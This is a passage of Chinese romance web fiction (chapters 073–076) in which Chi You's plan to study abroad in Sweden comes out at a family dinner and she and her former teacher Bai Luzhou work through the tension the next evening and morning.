“就是这一件。” 白鹭洲的声音也带着一点冰凉的温度。 “……” 池柚的整条手臂都忍不住颤抖起来。 那些本以为消逝在酒意中的片段记忆,忽然在这一瞬间零星地涌回了她的大脑。 陌生的客房,明亮的顶灯下,同样躺在床上的白鹭洲。 床上的人忽然坐起来,紧紧地攥住她的小臂,携着凉意的指尖沿着她小臂上新长的嫩生疤痕缓缓摩挲。她的脉搏,在白鹭洲的指尖下生机勃勃地汩汩跳动,青涩地顶撞着这突如其来的严密卷裹。 那是她们此生,第一次,真真正正的皮肤相接。 池柚的呼吸和心跳都乱了。 为脑海中浮现的记忆,也为这一秒的再度相触。 然后红晕几乎劈头盖脸地蒙上她,脸,耳朵,脖子,甚至被白鹭洲握住的小臂,所有在她眼中和实验课题般熟悉又寻常的身体器官,统统都开始发烫。 池柚喘出一口气,不禁想: 原来上次和柴以曼的手背贴合实验,什么都说明不了。 世界会爆炸的,心跳会失序的,她陡然升高的体温都快要把她全身的细胞蒸熟了。 白鹭洲望着池柚的眼底幽深,像是黑得纯粹的深渊,见不着底。 太深了。 叫站在深渊边上的人多看一会儿,会忍不住生出想要跃下去的欲望。 “池柚,不管你记不记得,那天你忘掉的事,和现在我正在做的事,都只是想让你明白:从今以后,这条底线作废。” 白鹭洲松开了池柚的小臂,转而去握住了池柚没拿棉签的那只手,抬起来,贴在了自己烫伤的手下面。 “我不是暗示你什么,我知道这三个月我们不可能有什么更亲近的接触。不过,起码上药的时候,你可以托住我的手来。” 池柚呆呆地看着放在自己掌心里的那只手。 “这样的话,我就不会累得需要把手放在你膝盖上。”白鹭洲轻轻笑了笑,眼睛里却没什么笑意,“毕竟你看起来还是挺介意的。” 池柚下意识否认:“没有。” 白鹭洲:“不介意?” 池柚:“……无所谓,又不是什么大事。” 良久,白鹭洲“嗯”了一声。 “也对,好像一直都是我比较纠结这些无关紧要的细节。” 池柚不说话,低垂着眼将药上完。 等药膏涂完,池柚内心翻涌的情绪也平息了下来。她收拾好沾了药膏的棉签,拧好药膏管盖子,起身去扔垃圾。 白鹭洲的手机恰是时候地响了一下,打破了有点奇怪的氛围。 她拿起来看,边看边道: “爷爷给我发消息说,奶奶今天要准备一桌大餐,需要的时间会久一点。刚好咱们中午火锅吃得晚,七月也得睡会儿觉,所以大概在八点钟开饭。” 池柚点头:“哦,好。” 白鹭洲:“那……” 池柚:“老师您先休息,我去院子里坐会儿。” 看出此刻池柚有点坐立难安,估计是在她的房间里和她独处不自在了,白鹭洲没有再勉强,轻抬了抬下巴,“你去。” 池柚转身匆匆离开。 她从白鹭洲的房间出来,一个人坐到院子中间石榴树下的石桌边,双手捧住脸使劲揉。 摸起来倒是挺烫的,不知道看起来会不会红得离谱。 池柚的心情很复杂。害羞的底色上,左铺一道对遗忘的记忆的愧疚,右铺一道对这种握手臂行为的纠结。她不知道该向谁去确认,这样的举动算不算正常的互动。 如果是和正常握握手一样的性质,那倒还好,她自己纵然有再多心思,也是她自己的事。可如果是带了暧昧色彩的话,她的心里便会生出对柴以曼的歉疚。 她一板一眼地,总想着遵循承诺过的优先级的约定。 ……怎么总是不逢时呢。 上药也是,触碰也是,呼之欲出的想靠近的欲望也是。 以前是隔着白鹭洲的心障,现在是隔着她对另一个人的责任。身份对调了,保守的变成自己了,可结果却没变。她们还是要守着一条边界线,做什么事都要时时盯着它,生怕越了过去。 池柚明白,越是这种情绪波动的时候,她越不能乱。 她的课题里,一贯是把每一个分区放得清清楚楚,该是什么样的流程就是什么样的流程。打好的大纲,绝不能调换顺序。 就像以前,她一旦决定了要给白鹭洲一份对于世界的信心,那么不管几年里白鹭洲怎么冷眼对她,在书写到结尾之前,她都不会放弃追求。 现在也一样。 三个月没到的时候,她就不可以让自己心脏的天平倾斜太多。尤其是她答应过会优先给柴以曼那边多放一个秤砣的前提下。 晚饭前,池柚坐在小石桌边没动弹过,用她的理智一遍又一遍地努力整理自己。 等天完全黑下来,白碧英和李恩生端着最后两盘菜从厨房走出来,远远地喊池柚去吃饭,池柚才扶着石桌站起来。坐太久了,骨头都僵硬得发麻。 站直以后,她再次用手背挨了挨自己的脸。 还好,温度早已经降了下来。 走进用餐的老房间,到饭桌上,池柚一直低着头,不敢看白鹭洲。 宋七月摇摇晃晃地走过来,她才睡醒,带着一脸起床气嘟嘟囔囔:“哎呀我都说了没胃口了,干嘛非得把我叫过来啊。” 奶奶用筷子尾巴敲宋七月的鼻子,“这叫礼数。” “不是,又没来什么贵宾,要什么礼数?”宋七月百思不解,“大表姐,你是和你的亲孙女不熟,还是和来过你们白柳斋八百遍的小柚子不熟啊?” 奶奶难得地凶了宋七月一声:“闭嘴吧。” 晚间白鹭洲也去厨房做了两道菜,她还没落座的时候,就站着拿一只公共小碟,在那两道菜里分别夹了一点,又夹了一些池柚以前很喜欢的奶奶做的糖醋小排,放到池柚面前。 “尝尝。”白鹭洲轻声说。 池柚“嗯”了一声,闷着头吃了好几筷子。 吃别人做的菜要表达感谢,这个池柚懂。于是她咽下去以后马上抬头,对白鹭洲和白碧英说:“很好吃,谢谢老师,谢谢奶奶,辛苦你们做饭了。” 奶奶受到夸赞挺高兴,说:“喜欢就多吃一点。” 白鹭洲也不着痕迹地轻勾了下嘴角,“这两道菜我第一次做,你要是觉得不错,以后来白柳斋,我再做。” 池柚正要说话,却被旁边大口吃菜的宋七月随口一句漫不经心的话打断: “那小柚子得抓紧多来几回了,不然等以后出国了,哪儿还有机会呀?” 出国。 听到这两个字,白鹭洲布菜的动作蓦地顿住。 第074章 “出国?!” 奶奶的反应赶在所有人之前, 宋七月话音刚落,她就震惊地脱口而出。 池柚没想到出国的事是这么被捅出来的。她暗暗懊悔,分明之前自己还提醒自己要尽快和白鹭洲说一下这事, 今天也有单独相处的时间,却因为白鹭洲主动握她手臂的行为弄乱了她的大脑, 搞得她又忘了。 白鹭洲有些迟疑, 声音里带着一些仅存不多的点点希望: “你要……出国?” 宋七月后知后觉地发现自己闯了祸, 嘴里的菜都顾不上嚼了,瞪大眼睛看向池柚:“你、你没和她说吗?” 爷爷也停了筷子,凝重地看着池柚。 池柚被几个人盯得浑身不自在, 她回避了所有人的目光,低声说: “是有这个可能来着。” 白鹭洲眼里的希望灭掉了一半,还剩一半,岌岌可危地微弱亮着。 “是旅游, 还是……” “如果确定要去的话, 应该是长时间定居。” 池柚垂着头,用筷子戳碗里的排骨。 “计划是去瑞典,我的姥姥和姥爷在那边,他们已经帮我联系好了很好的医学院, 妈妈也希望我可以过去深造。” “听你的意思, 还没有完全确定。”白鹭洲用所剩无几的理智问:“你方便告诉我吗,确定要去的概率, 大约是多少?” 池柚如实回答:“百分之八十吧。” 百分之八十。 听到这个答案, 白鹭洲将伸出去的筷子收回来,放在自己的碗上, 手指连着筷子有明显的颤抖。 “要去多久?”白鹭洲又问。 池柚:“至少3年。”真实时间应该是3到6年,更多年也有可能, 池柚选择了一个最小的数字说出来。 见白鹭洲很久都没说话,池柚不禁开口:“对不起,我……” “不用和我说对不起。” 白鹭洲缓缓坐了下来,表情敛得很平静,夹了一根青菜进自己的碗里。 “先吃饭吧,别影响吃饭。” 爷爷和奶奶还想问些什么的样子,但白鹭洲给他们分别夹了一块肉,像是某种暗示。老两口和白鹭洲进行了几个来回的眼神交流后,叹着气闭了嘴巴。 宋七月这朵敏锐的交际花很轻易地读出了白鹭洲和池柚之间的气氛变化,本来没清醒彻底的意识现在完全清明了,暗暗骂自己没脑子。 白鹭洲的筷子同样夹了一块肉,放进宋七月的碗里,“你也吃。” 宋七月:“表甥孙女,我……” 白鹭洲猜到了她要说什么,道:“不是你的错,安心吃饭。” 不知道为什么,宋七月宁愿看到白鹭洲生气的样子,哪怕是冷冰冰地和池柚吵一架,或者狠狠讽刺一番她的漏勺嘴巴,甚至掀桌,摔门,直接转身离开。 她从池柚那里知道过白鹭洲和池柚之间的约定,所以她懂,出国的事一旦不是从池柚嘴里亲口说出来,而是被旁人告知了白鹭洲,白鹭洲的心情会是如何的失落和愤怒。这一下子,性质就不单单是出国本身的事了,还会包含欺骗、隐瞒。同时也意味着,池柚不仅没有把白鹭洲纳入未来的计划,还根本觉得:白鹭洲这个人都不配知道那未来计划是什么。 所以正常的剧情难道不该是误会产生后,白鹭洲气得夺门而出,池柚追上去立马解释吗? 如果是这样,能够早一点解释清楚,哪怕就早一顿晚饭的时间,宋七月也不会像现在这么煎熬自责了。 但白鹭洲没有。 她除了捏筷子的手轻颤过一下,别的什么也没表现出来。 她把所有的情绪都压了下去,没有任何地任性,将这一顿本该安稳的晚饭完完整整地保全给所有人。包括这个嘴上没门的大漏勺,和那个此时在她眼里的欺骗者。 她甚至还在为他们每个人夹菜。 宋七月吃着嘴里的肉,感觉眼角都有一点酸了。 自己竟然忍不住替白鹭洲委屈了起来。 这顿饭吃得比想象中沉默许多。 爷爷奶奶准备好的很多问题,似乎都不适合在眼下问出来。池柚心里想了很多,有些话想说,可是饭桌上有旁人,她不好开口。 平时话最多的宋七月也不说话了。白鹭洲,不论她开不开心,她都寡言。 晚饭结束后,白鹭洲去帮爷爷奶奶洗碗,去厨房前和池柚小声说了句: “迎客堂的茶几上有水和糕点,你先坐会儿。等我忙完了,开车送你回家。” 一切看起来没什么异常。 但池柚知道不是的。 下午来的时候,白鹭洲还给了她两个选择:想走的话晚上可以送她回家,不想走的话,她也可以在白柳斋留宿一晚。 然而现在没有了第二个选择,只有送她回家这一项。 池柚拉住要走的白鹭洲:“我要和您解释一下。” 白鹭洲沉默片刻,说:“可以,等我洗完碗。” 池柚:“您手背上还抹着药,不能洗碗,我去洗。” 白鹭洲:“不必。” 一旁的宋七月很有眼色地插嘴:“我去洗我去洗,哪有让伤员和客人洗碗的道理?你们忙你们的,不要操心别的!” 说罢,她一溜烟地向厨房跑,生怕那两个人跟她抢,这辈子从没这么勤奋过。 白鹭洲目送宋七月消失在门口,又沉默了一会儿。 “那走吧,我送你回家。” 她提步,准备去房间拿包和车钥匙。 池柚却说:“我不想回,我想住一晚。” 白鹭洲没有停下脚步,继续向自己的房间走,“有话也可以在车上说。” 池柚追在白鹭洲后两步的距离,鲜有地顶嘴:“我不要在车上说,我就要和您面对面地说。” 白鹭洲:“有区别么。” 池柚:“有。” 白鹭洲拉开房间门,走到桌边,伸手去拿桌角收纳盒里的车钥匙。 池柚快步走过去,一着急,也顾不得许多,直接按住了白鹭洲的手腕。 她花了两秒钟的时间来让自己习惯这种皮肤间的直接触碰,咽了咽口水,说正事:“我不是故意想骗您,我真的是忘了说。” “……忘了说?” 白鹭洲侧过头,看着池柚。好半天,眼底终于流出一丝苦涩。 “所以你要和我解释的事,不是想说其实你并不想出国,而只是‘忘了说’这一点吗?” “我……” 池柚也不知道从哪开始分辩。 “就算解释,我不是、不是也得一件一件来么?” 白鹭洲见池柚都急得又结巴了,才带起一点情绪的语气随着一声轻叹散去,转过身,靠在桌边,双手撑在桌沿上。 “好,那我一件一件地问,你一件一件地答。” 她来列出题干,池柚只需负责解题。不用组织纷乱的语言,仅仅思考问题的答案,这样,紧张的池柚或许可以轻松点。 池柚点点头。 白鹭洲:“什么时候开始筹备出国的事的?” 池柚回忆起这件事的起源,说:“在海岛上,露营的那一晚,妈妈第一次提起。” 白鹭洲:“……这么早。” 这不是一个问句,池柚不知道该不该接话。 白鹭洲缓缓呼吸,继续问:“柴以曼会跟你一起出国,是吗?” 池柚很不想在这个时候点头,可她没有选择,只能给出肯定的回答,“对,也是露营那一晚,妈妈给我介绍了柴姐姐。她给我介绍柴姐姐的原因之一,就是柴姐姐也有出国的打算,妈妈希望我们可以搭伴。” 白鹭洲:“所以你和柴以曼不是前几天才接触,而是在几个月之前,你们就已经认识了。” 池柚忙说:“我们加好友是很早,可是一直没聊天,前几天那次确实是第一回见面。” 白鹭洲苦笑了一下。 “那既然这么早就有了出国的打算,在酒吧里,为什么还要承诺我三个月后的事?” 停顿须臾,“你在国内,还能待够三个月吗?” 池柚明白这个原因很扯,可这就是事实,她加重语气,想努力让白鹭洲相信她。 “我真的是忘了,而且我没有确定一定会出国。我知道您可能不信,但真的,我自己也总是忘了出国的事,和您一说话,就更想不起来了。” 白鹭洲看向池柚,审视着她的微表情,“为什么?是舍不得我?” 池柚红了耳朵,“算……算原因之一吧。” 白鹭洲:“还有什么原因?” 池柚沉默。 “你既然能说出‘原因之一’,就说明你很清楚有别的原因,也知道那原因是什么。” 白鹭洲撑在桌沿边的手指不动声色地抠住了桌面底。 “当然,你不想说,我也不勉强你。” “不是不想说,其实我以前和您说过的。” 池柚抿了抿嘴唇。 “我去国外,是要去医学院进修。可我从来都不喜欢救人,我也不喜欢当医生,我讨厌和病人与病人家属,还有同事,上级,所有活着的人的社交。我就是觉得,瑞典没有我想碰见的人,也没有我喜欢的未来。” 白鹭洲沉思半晌,说:“所以,心底在排斥,导致你很多时候都下意识地回避出国的事,然后就总是忘。” 池柚点头:“对,就是这样。” 白鹭洲:“既然排斥,为什么你会说,出国的概率达到了百分之八十?” 池柚叹气,“毕竟家人们都那么上心,好像所有人都认为那是我最该走的光明大道,我……也想不到还有什么别的路可走,如果没有一个硬性理由留下我,就……” 白鹭洲:“我懂了。” 池柚:“您懂了?” 白鹭洲:“嗯。” 池柚:“都懂了?” 白鹭洲:“嗯,都懂了。” 池柚:“没有别的问题要问了吗?” 白鹭洲:“没有了。” 白鹭洲直起身子,没有再去拿车钥匙,而是说:“走吧,我帮你收拾客房。” 这段对话结束得比预料中要快许多,白鹭洲就这么轻易地放过了她,甚至不曾逼着她,让她现在就回答到底要不要出国。 白鹭洲没有强求她立马做选择,没有要更多的承诺,从进门到现在,表情都没什么太大的变化。叫人捉摸不透她的心思。 池柚犹豫着问:“您……已经不生气了吗?” 白鹭洲:“不生气了。” “可是——” 池柚总觉得这是件挺大的事,她应该需要花费更多的时间精力去安抚白鹭洲的。 “我确实做错了事,一直没和您说清楚,少给了您一条‘可能要出国’的前提条件。您千万不要忍,您要是觉得没办法接受,可以再慎重考虑一下酒吧那晚我说的话,现在拒绝也来得及。” “……我没忍什么。你解释得很清楚,我听得很明白。至于这三个月,不管三个月后你在国内还是国外,我说过会等,就是会等。你能回来最好,不回来,我也不会后悔付出的时间。” “不过你要是真觉得很对不起我……” 白鹭洲注视着池柚,忽然,缓慢地向前逼近了一步。 “或许你可以给我一点补偿。” 池柚看着白鹭洲向她又逼近了第二步,大脑蓦地空白。 “什么……补偿?” 白鹭洲逼近了第三步,站在离池柚咫尺之近的地方,低着头看她。 她的声音很轻。 轻得但凡再远一点点,就会听不清了。 “比如,允许我现在,做一点更越界的事。” 第075章 白鹭洲是清冷寡言, 是处事淡泊,外表看起来总一股子不食人间烟火的样子。但她从不认为,自己的内里是一个真正寡欲的人。 她的欲望向来都很强。 想被长辈们肯定的欲望, 想被坚定选择的欲望,想拿到每一个第一的欲望, 想拥有一段最好的爱情的欲望。 以及对身体的欲望, 对池柚的欲望。 在极度想要破局却无奈受困的时候, 她选择了床头柜上的东西,就已经说明,她并没有像旁人以为的那样矜持脱俗。 牵扯到感情问题时, 她就是很俗。她不否认,她就是和所有最普通的世人一样,深夜里会做梦,清醒时会妄想。 她也不否认, 狂欢派对那一晚, 如果池柚真的想做点什么,她那时不会拒绝。 她甚至在压抑的理智夹缝中存有期待。 在发觉池柚只是想照顾她时,有期待落空的失望。 白鹭洲到现在都没有对池柚做过什么过分的事,不是她不想, 而是她觉得池柚的那份感情太过美好, 她不忍去玷污。 她的道德感告诉她不能玷污,可她的欲望一刻不停地蛊惑着她:如果玷污一下呢? 她没有一秒停止过这样的想法。 如果……玷污一下呢? 就像这一刻, 白鹭洲明明知道, 她说出这句“允许我现在做一点更越界的事”,本意只是想逗逗池柚。但话说出口, 看着面前开始脸红的池柚,她的心, 也控制不住地乱了。 白鹭洲的目光缓缓游移在池柚的脸上。 牛奶一样生嫩的脸颊泛着一抹浅粉,低垂的睫毛正微微颤抖,湿漉漉的眼睛被眼皮暂且盖住,看不见那双漂亮的黑瞳仁。 池柚的脖颈很细,但因为她偏过了头去,下颌线连着脖子、锁骨,便叫领口处显露出的皮肤白成明晃晃的一大片。 看一眼,就让人想起北方冬日的窗外,那种没被踩过的雪地。 池柚的白和白鹭洲的白不是同一种。 白鹭洲的肤色更像清透的玉,可以隐约看见她薄薄皮肤下血管的颜色,因为透,类冰,所以总含着股冷意。 而池柚的肤色像羊脂白玉,细腻,温润,血管被很温柔小心地严实包裹住,骨头凸起的轮廓都柔润得可爱。 她会让人产生通感。 观赏着这身皮肤,就仿佛能闻到娇柔花瓣上温暖的露水香。 这样的人近在咫尺时,怎能不叫人想踩踩雪地、嗅嗅花露。 白鹭洲抬起手,指尖向着池柚的脖颈探去。 雪花轻轻落在了雪地上。 池柚却被雪花惊醒,本能地后退了一步。 “老师,你……” 她咬住嘴唇,单臂环上了自己的身体。 “不行,现在不行。” 就算那条底线已经作废了,也不能猛地跨这么一大步啊。 白鹭洲收回了手,似笑非笑。 “这种接触对你来说,应该就是单纯的身体的器官部位相碰而已。” 她言下之意是:在意身体接触的一直都只是她白鹭洲自己,对于池柚这种能把所有器官物化成课题的医学生来讲,这种事本没有任何暧昧色彩才对。 下午的时候,池柚也没有否认这个说法,不是吗? 池柚:“这、这单纯么?” 白鹭洲反问:“碰一下你的脖子,算什么不单纯的事么?” 池柚语塞,“碰一下脖子当然不算,可是你……难道不是打算……” 白鹭洲的目光瞥向了地面,熟稔地撒谎: “谁说我打算别的了。” 池柚红着脸反应了一下。 片刻后,她气道:“您又逗我!” 白鹭洲极轻地笑了一下,“你的语言系统也又紊乱了。” 池柚愣了愣,“啊?” 白鹭洲:“一会儿‘你’,一会儿‘您’。” 池柚:“我* ……” “这个补偿,我可不可以要你以后,不要对我再称呼‘您’?” 白鹭洲本来还想说,让池柚也不要再那么尊敬地喊她“老师”,不过想到这些习惯总得循序渐进地改,便没有贪得无厌。 “辛苦你,刻意地去改一下。每次说出口的时候,有意压一压以前的习惯,可能会花费你多一点的精力,但……” 白鹭洲停顿少顷,“这应该不算会打破约定的事。” 没有过分到越界的性质。 池柚沉寂了好阵子。 她找了半天,也找不到什么拒绝的理由。 “好。” 白鹭洲转过身去,解开了衬衣的第一颗扣子,说:“你先出去吧,我等会儿去帮你收拾客房。或者你急的话,叫七月帮你收拾一下。” 她细长的手指撚着衣领敞开了一点,叫里面的薄汗热气散出去些许。 池柚不懂为什么刚刚白鹭洲还说要直接去帮她收拾房间,现在却要赶她出去,得等上一会儿才能帮她。 她还不懂,刚刚那短短的一瞬接触,给白鹭洲带来了怎样的悸动。 池柚只是盯着白鹭洲的背影,看了很长的时间,想看出点什么。 而在这次难得长久的凝望中,她也终于发现了那个不对劲了很久的点。 “怎么……好像再也没见过你穿旗袍了?” 池柚也记不清是从什么时候开始的,她每一次见到白鹭洲,白鹭洲都穿的是衬衫。各种各样冷色调的衬衫,白色的,黑色的,蓝色的,青色的。看得她的意识都学会了默认这个改变,从未觉得哪里异常。 白鹭洲回过头,身体却没转过来,“你不是喜欢我穿衬衫么。” 池柚:“我说过吗?” 白鹭洲:“海岛上的时候,你刚醒,看见我穿了件霾蓝色的衬衫。你那时说,觉得我穿衬衫比穿旗袍好看。” 池柚:“……”仔细想想,她好像还真说过。 白鹭洲从眼角尾端看着池柚,问:“你忘了?” 池柚老实地承认:“是忘了。” “……你这样说,衬得我像个一厢情愿的傻子。”白鹭洲回正了头,继续背对池柚。 池柚的情绪被揪了起来:“对不起,对不起。” 白鹭洲:“开玩笑的,别紧张。”她走到床头柜边,弯腰去拿一会儿要用到的护肤品,“不过,你可以告诉我,你说我穿衬衫更好看是不是真心话吗?” 池柚在心里慎重地想象了一下两种服饰的白鹭洲,答道: “老师怎么穿都好看,各有各的好看。” 穿衬衫是随性矜贵的好看,穿旗袍是清冷优雅的好看。 “其实你不用管我的看法的,随便穿就好,老穿一样也会看腻。” 话落,池柚马上意识到这话说得不好,立刻找补: “我不是说看腻了的意思,我就是想说,您……不,你,你可以换着穿,旗袍也很好看,要是一直不再穿了很可惜的。” 白鹭洲笑了笑,拿着满手的瓶瓶罐罐,不再继续发问,只轻掠地说: “你能出去一下么,我要洗澡。” 池柚如梦初醒:“啊,好,我这就走。” 池柚匆匆地退出了白鹭洲的房间,紧紧地关上了门。 天完全黑了,幽暗的院落里只有零星几扇有人的窗户亮着灯,夜风吹过,石榴树上的新叶摩擦出簌簌声响。 宋七月还在洗盘子,厨房那边传来她和奶奶交谈的声音。 爷爷提溜着一块抹布,在用餐的房间和迎客堂两处擦桌子椅子,尤其仔细地擦奶奶最爱的那把太妃椅。 池柚记得上次来住的客房位置,她在回廊上站了一会儿,就去了客房。 她自己有手,不用非得白鹭洲或者宋七月来帮她收拾。不过是一些浮灰,再铺一下床,估计不到半个小时就可以收拾干净。 池柚收拾完房间,已经是晚上九点了。 李恩生和白碧英忙完后,跟宋七月一起坐在迎客堂聊天。池柚专门过去了一趟,和他们说了自己要留宿的事,爷爷奶奶拉她聊了几句,问她出国的事,她能回答都如实作了回答。 爷爷没有多说什么。奶奶欲言又止,最后只很小声地嘟囔了句“洲洲是编制内的”。 白碧英的意思是,编制内,就意味着白鹭洲几乎不可能放弃工作跟着池柚出国。如果白鹭洲等不到池柚的回心转意,她们两个人日后大概率只能是天各一方的结局。 她不知道池柚有没有听懂,因为池柚好像在挂念别的事,有点心不在焉。 偏偏白鹭洲不许他们多说什么,对话的最后,白碧英只得以叹气收尾。 和那三人道过晚安,池柚从迎客堂出来,环视一周,还是没见到白鹭洲。 她暗忖:不知道是洗什么澡,需要洗这么久。 时间已经不早,池柚不再多想,回房间洗漱睡觉去了。 关上灯,躺到床上,池柚直接闭上眼。她不爱玩手机,更没有睡前玩手机的习惯,她睡觉就是睡觉,不会掺杂别的事。 然而今天她有点睡不着,翻来覆去,折腾了很久。她甚至一反常态地又摁亮了手机,却停留在桌面,不知道要做什么。 失眠了。 池柚揉了揉眼睛,坐了起来,准备去桌边喝点水。 她下床往桌子那边走,走到一半,路过窗户时,疏而停住了脚步。 随即,她仿佛想印证那不是自己的错觉,改变路线走到了窗边,手伸出去一推,推开了吱吱呀呀的旧木窗。 没有了老玻璃的遮挡,院子里,不知什么时候已经洗完澡的白鹭洲无比清晰地映入眼眶。 纤瘦单薄的人坐在石榴树下的石桌边,正低头摆弄着一个碗。 月光照在她的身上,淋下满身泠泠岑寂。 她久违地,穿了一袭白色的旗袍。 精致的布料在她细瘦腰身上叠出织锦的细褶,她轻轻地动一动,紧贴的衣服便会将她身体每一处最漂亮的轮廓都描勒出来。 穿旗袍时,她的坐姿仪态会更加雅正。 脖颈连着脊背的一条线笔直得挑不出瑕疵,她低头看碗,这条直线也几乎没受什么影响。旗袍裙摆下叠放的一双二郎腿,都规整得像是用数学精密地计算过。 清绝出尘,典雅不凡。 真的很美。 和穿衬衫时完全不一样的美。 池柚趴在窗口,遥遥地望着白鹭洲,支着下巴看了很久。 “在做什么啊?” 池柚忽然开口问她。 白鹭洲侧目,见是池柚在隔着窗户和她说话,眉眼温和了许多。 “在泡豆子。” 池柚:“泡豆子做什么?” 白鹭洲:“现在泡上,明早起来就可以做豆花了。” 池柚:“甜豆花?” “嗯。”白鹭洲默契地笑了笑,“只浇一勺醪糟,别的什么都不加。” 池柚想到小时候在白柳斋住的日子,每天早上白鹭洲都会亲手给她做她最喜欢的甜豆花,不禁也会心一笑,“那泡好了吗?” 白鹭洲:“泡好了。” 池柚:“谢谢啊。” 白鹭洲:“不客气。” 池柚支着下巴的手放了下去,搭在窗框边。 “老师,你早点睡。” 白鹭洲点头。 “你也是。” “晚安。” “晚安。” 池柚站直了身体,关上窗户。 握着窗户把手,她原地站住,没有立刻转身回去睡觉。 良久,池柚忽地垂眸笑了一下。 刚刚那几分钟,她并没有走出屋子,也没有看见今晚的月亮。 可就在穿着旗袍的白鹭洲看向她的时候,她却恍惚感觉到,月光照在了她的眼睛上。 第076章 某种意义上来说, 白鹭洲身上的矛盾性,不亚于池柚血液中的善邪矛盾性。 白鹭洲可以在做完需要扔一地卫生纸团的事后,不紧不慢地洗完澡, 穿上一件再禁欲不过的旗袍,扣子都仔细地扣到最上面的一颗, 然后淡然地坐在院子里准备一碗泡豆子。 她也可以面对窗户里那张刚刚在她做那事时幻想过的脸, 收敛起所有旖旎思绪, 平静地和对方聊天,说,明早会为她做一碗甜豆花。 一如今日的早晨。 白鹭洲在熬完自己要喝的中药后, 将厨房收拾得不留一点痕迹,气味都散得干干净净。她就站在刚刚熬药的位置,一边用吸管喝杯子里酸苦的中药,一边慢条斯理地做甜豆花。 很难想象, 白鹭洲的身上会同时出现这么多的反义词。 冷与烈, 淡与欲,苦与甜。 反差很大。 但出现在此时的她身上,又觉得好像很正常。 冷,淡, 苦, 是她的人生底色。 而烈,欲, 甜, 是她的目光终于真正落到池柚的心里时,被池柚染上的新色。 仿佛过往那些, 曾被池柚亲手用颜料染红的,白色花朵们。 池柚也早早地来到了厨房, 昨晚的晚餐她没帮上什么忙,今早她准备亲手给大家做早餐。 她来的时候看到白鹭洲在喝东西,随口问喝的是巧克力奶还是咖啡,白鹭洲咽下口中的苦药,直接将杯子伸过去让池柚尝尝。 池柚当然没喝,她把头探到杯口的时候就被那味儿冲到了。 “老师,你怎么老想骗我呢?” 她捂着鼻子控诉。 白鹭洲收回胳膊,继续优雅地用吸管小口喝药,品茶一样,“骗到你了吗。” 池柚:“没有。” 白鹭洲:“那你气什么。” “……” 池柚无话可说。 过了一会儿,池柚往碗里打鸡蛋时问道:“你这个病,到底还要养多久才能好呢?” 白鹭洲:“医生说,还得再喝一个多月的药。” “中医啊?”池柚皱了皱眉,“还是吃西药吧,见效快点。” 白鹭洲:“不是见效的问题,西药我也在吃。病程长是因为身体底子不好,所以得慢慢养。” 池柚点点头,又问了一些白鹭洲的病的相关事情,听过后细细思索,以自己的医学知识储备补充了一些注意事项。 两个人在厨房各做各的菜,不时搭几句话。白鹭洲话少,池柚也不是会主动找话题的性格,她们聊得并不多,不像柴以曼和池柚相处时总是用对话将时间撑满。 奇怪的是,这样的安静并没有给池柚带来任何尴尬的感觉,而是另外一种舒服。 可以不用把全部心思都放在交谈上,能专心致志地想自己的事、做自己的菜,偶尔嘟囔出一两句自言自语,对方淡淡地回几个字,过不过耳都随意。 如果池柚是在咕哝关于做菜的小问题,白鹭洲就言简意赅地提点。 比如酱油瓶子在哪里,冰箱里有没有新鲜的葱。 如果池柚只是在喃喃一些无关紧要的小事,白鹭洲就轻轻笑一笑。不接话,不强聊,就那么做着豆花,浅淡地弯弯唇角。 池柚在切肉的时候就在低喃着一件无关紧要又可可爱爱的小事。 ——她在自己给自己报出每一刀下去精确的肉片厚度毫米数。 “2.1毫米,2.2毫米,2.1毫米,2毫米……” 也不知道她这个0.1毫米是怎么掐出来的。 神奇。 白鹭洲拧开醪糟瓶的盖子,将勺子探进去,“对了,你今天还要继续留在白柳斋玩吗?要是有别的事忙,你看好要走的时间,我开车送你回去。” 池柚认真地切着肉答:“有啊,吃完早饭就得走了。” 白鹭洲“嗯”了一声,又似不经意地问:“什么事?” “早上柴姐姐给我发消息说,要我去她那里一趟,她有点工作上的事需要我帮下忙。” 池柚被打断了思路,忘了刚刚切下来的这篇肉是2点几毫米了。她没多在意,随手将肉片撂进了盘子里。 白鹭洲听到池柚提起柴以曼,舀醪糟的动作顿住。 半晌。 她捞起勺子,“她一个写书的,需要你帮什么忙?” “她之前写过一本书,是以我为原型的法医刑侦类小说。” 池柚坦诚地说出了两年前柴以曼和她的间接交集。国刊上的论文,天才法医女主,印成铅字的本名注脚。 “最近这本小说在改编广播剧,听她说,编剧准备扩写剧本,需要很多专业知识。刚好编剧也是云州人,今天她约了编剧老师去她家,就把我一块叫过去,想三个人好好聊聊。” 白鹭洲没说话。 她沉默了一会儿,继续给豆花浇汁。 挪开勺子时,勺子却不慎从她的指间滑落向瓷盘边沿,碰碎了嫩豆花的一角,砸在盘子上发出“当啷”一声脆响。 听到勺子和瓷盘相碰的那声清脆动静,池柚抬起头,看了眼白鹭洲的方向。 “怎么了?什么摔碎了?” “……没事。” 白鹭洲连眨了两下眼,若无其事地捡起勺子,收拾干净。 “那吃完早饭,我送你过去。” 池柚:“她家太远了,我还是自己打车过去吧。” 白鹭洲:“我正好今天也有课,反正得出门上班,顺便送送你。” 池柚抿了抿嘴角,“……不会很奇怪吗。” 白鹭洲侧过头看她,“奇怪?” 池柚:“嗯,我们三个,现在这样的关系……” “我都不介意,你介意什么。” 白鹭洲皮笑肉不笑了一下。 “你是担心我会直接开车把你拐到深山老林里去,还是担心我和柴以曼见面会打起来?” 池柚抽了抽嘴角,“那是倒不会。” 白鹭洲端起甜豆花,“我知道,她比我有优先级,没关系。你先去吧,等你回家了有空了再联系我,我有件事还想找你。” 池柚:“什么事啊?” 白鹭洲:“之后再说吧,现在一句两句也说不清。而且我也得……” 白鹭洲话没说完,然而她似乎也不打算再补全,就悬着半句在那。 她单手解开了围裙,端着豆花走出了厨房。 这顿早饭吃得很平静。 宋七月要睡懒觉,没起来吃早饭,饭桌上一下子安静不少。白鹭洲只低头吃东西,吃得不多,但她吃得慢,所以用餐时间也被她拉满了整顿早餐。 爷爷奶奶第一次吃到池柚做的饭,很惊喜,夸了好几句。池柚在每句夸奖后面,都会礼貌地点缀上一句“谢谢”。 饭后,白鹭洲依照承诺送池柚去柴以曼家。 去的路上,一开始两个人还时不时说两句话,但后半程池柚就一直在看手机。白鹭洲瞥了一眼,看到她是在回复柴以曼的消息。 在那空隙间的匆匆一览下,柴以曼的新消息连着弹来,池柚盯着手机,咬起手指认真地思索回复。 白鹭洲收回目光,下颌骨绷住,握着方向盘的手无意识地缩紧了。 长时间的车程后,她们抵达了东郊的半山腰。 柴以曼提前走到了小区门口来接池柚。 